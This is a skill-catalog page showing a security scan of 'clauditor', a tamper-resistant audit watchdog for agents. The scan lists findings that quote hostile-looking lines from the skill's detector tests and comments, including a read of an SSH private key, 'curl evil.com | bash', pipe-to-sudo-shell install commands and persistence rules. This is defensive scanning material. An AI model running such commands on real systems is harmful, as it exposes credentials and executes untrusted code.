SKILLEMALL.ai
GitHub ↗ RU Sign in

CC clauditor

Tamper-resistant audit watchdog for Clawdbot agents. Detects and logs suspicious filesystem activity with HMAC-chained evidence.

modbender/skill-library-mcp Agent Skills author: modbender MIT 23 files · 2 scripts body ≈ 464 tokens Open the sourcegithub.com↗ analyzed 2 d ago

Tamper-resistant audit watchdog for Clawdbot agents.

As a process C 53/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions

AnalyzerAI and agentstype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
C
63/100
safety, quality, tests
Safety 60%
57
Quality 40%
71
Run on models
none yet
Process rating
C
53/100
Has gaps
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten

What is at stake

Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.

Exfiltration medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".

For the author

If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.

Dangerous commands medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.

For the author

Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.

How to improve

  1. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 27

✓ No critical or high findings

Medium and low: 27
  • medium Exfiltration exfil-read-secret-files crates/detector/src/sequence.rs:236
    Reads credential / secret files (quoted — discussed, not commanded)
    let alert = seq.check_exec("cat", &["cat".to_string(), "/home/user/.ssh/id_rsa".to_string()]);
    quoted
  • medium Exfiltration exfil-read-secret-files crates/detector/src/sequence.rs:245
    Reads credential / secret files (quoted — discussed, not commanded)
    seq.check_exec("cat", &["cat".to_string(), "/home/user/.ssh/id_rsa".to_string()]);
    quoted
  • medium Dangerous commands cmd-pipe-to-shell wizard/install.sh:11
    Downloads and executes remote code from an unrecognised host (pipe to shell) (code comment)
    #   curl -sSL <url> | sudo bash           # Install
    comment
  • medium Dangerous commands cmd-pipe-to-shell wizard/install.sh:12
    Downloads and executes remote code from an unrecognised host (pipe to shell) (code comment)
    #   curl -sSL <url> | sudo bash -s remove # Uninstall
    comment
  • low Dangerous commands cmd-privilege crates/clauditor-cli/src/main.rs:1152
    Privilege escalation / world-writable permissions (string literal in code, not executed; documentation of a security skill)
    command: "sudo sh -c 'head -c 32 /dev/urandom | base64 > /etc/sysaudit/key && \
    code literalsecurity skill
  • low Dangerous commands cmd-privilege crates/clauditor-cli/src/main.rs:1180
    Privilege escalation / world-writable permissions (string literal in code, not executed; documentation of a security skill)
    command: "sudo cp dist/systemd/*.service dist/systemd/*.timer /etc/systemd/system/ && \
    code literalsecurity skill
  • low Dangerous commands cmd-background-process crates/clauditor-cli/src/main.rs:1182
    Starts a background / autostarted process (documentation of a security skill)
    sudo systemctl enable systemd-journaldd && \
    security skill
  • low Dangerous commands cmd-privilege crates/detector/src/lib.rs:6
    Privilege escalation / world-writable permissions (code comment)
    //! - Persistence: crontab, systemd units, SSH keys, setuid
    comment
  • low Dangerous commands cmd-pipe-to-shell crates/detector/src/lib.rs:368
    Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed; security demo / example)
    argv: vec!["bash".to_string(), "-c".to_string(), "curl evil.com | bash".to_string()],
    detectorcode literaldemo
  • low Dangerous commands cmd-background-process crates/detector/src/rules.rs:178
    Starts a background / autostarted process (string literal in code, not executed)
    description: "systemctl enable (persistence mechanism)".to_string(),
    code literal
  • low Dangerous commands cmd-privilege crates/detector/src/rules.rs:187
    Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed)
    id: "persist-chmod-setuid".to_string(),
    detectorcode literal
  • low Dangerous commands cmd-privilege crates/detector/src/rules.rs:188
    Privilege escalation / world-writable permissions (string literal in code, not executed)
    description: "chmod with setuid/setgid (privilege escalation)".to_string(),
    code literal
  • low Dangerous commands cmd-privilege README.md:62
    Privilege escalation / world-writable permissions (documentation of a security skill)
    sudo bash wizard/wizard.sh
    security skill
  • low Dangerous commands cmd-privilege README.md:67
    Privilege escalation / world-writable permissions (documentation of a security skill)
    sudo bash wizard/wizard.sh --dry-run
    security skill
  • low Dangerous commands cmd-privilege README.md:68
    Privilege escalation / world-writable permissions (documentation of a security skill)
    sudo bash wizard/wizard.sh --uninstall
    security skill
  • low Dangerous commands cmd-privilege SKILL.md:76
    Privilege escalation / world-writable permissions (documentation of a security skill)
    sudo bash wizard/wizard.sh
    security skill
  • low Dangerous commands cmd-privilege wizard/install.sh:11
    Privilege escalation / world-writable permissions (code comment)
    #   curl -sSL <url> | sudo bash           # Install
    comment
  • low Dangerous commands cmd-privilege wizard/install.sh:12
    Privilege escalation / world-writable permissions (code comment)
    #   curl -sSL <url> | sudo bash -s remove # Uninstall
    comment
  • low Dangerous commands cmd-background-process wizard/install.sh:103
    Starts a background / autostarted process
    systemctl enable --now systemd-journaldd.service >/dev/null 2>&1
  • low Dangerous commands cmd-background-process wizard/install.sh:104
    Starts a background / autostarted process
    systemctl enable --now systemd-journaldd-digest.timer >/dev/null 2>&1
  • low Dangerous commands cmd-background-process wizard/wizard.sh:238
    Starts a background / autostarted process (string literal in code, not executed)
    run_cmd "systemctl enable systemd-journaldd.service"
    code literal
  • low Dangerous commands cmd-background-process wizard/wizard.sh:239
    Starts a background / autostarted process (string literal in code, not executed)
    run_cmd "systemctl enable systemd-journaldd-digest.timer"
    code literal
  • low Dangerous commands cmd-background-process wizard/wizard.sh:240
    Starts a background / autostarted process (string literal in code, not executed)
    run_cmd "systemctl enable systemd-core-check.path"
    code literal
  • low Dangerous commands cmd-background-process wizard/wizard.sh:241
    Starts a background / autostarted process (string literal in code, not executed)
    run_cmd "systemctl enable systemd-core-check.timer"
    code literal

A further 3 matches are quotations in this security skill's documentation and are not counted as findings.

Files scanned: 23. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • note frontmatter-key unknown frontmatter key "homepage"

Process rating: all ten parameters 53/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 0Failures and branches. Linear process with no failure handling
  • 20When it triggers. No condition that starts the skill
  • 30Running it twice. 2 mutating operations with no state check
  • 100Tools and files. No external tools needed
  • 100Steps. 11 steps
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 464 tokens
  • 100Progress reporting. Reports progress

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Output format is not stated: the model decides each time
  • +1No license
  • +2Single-language instructions
  • +3Description length 128: enough signal without eating the budget
  • +4Structure: 9 headings
  • +3Step-by-step instructions: 11 items
  • +4Has examples (5 code blocks)

Quality base 70; lint remarks subtract, signals add up to 100. Result: 71.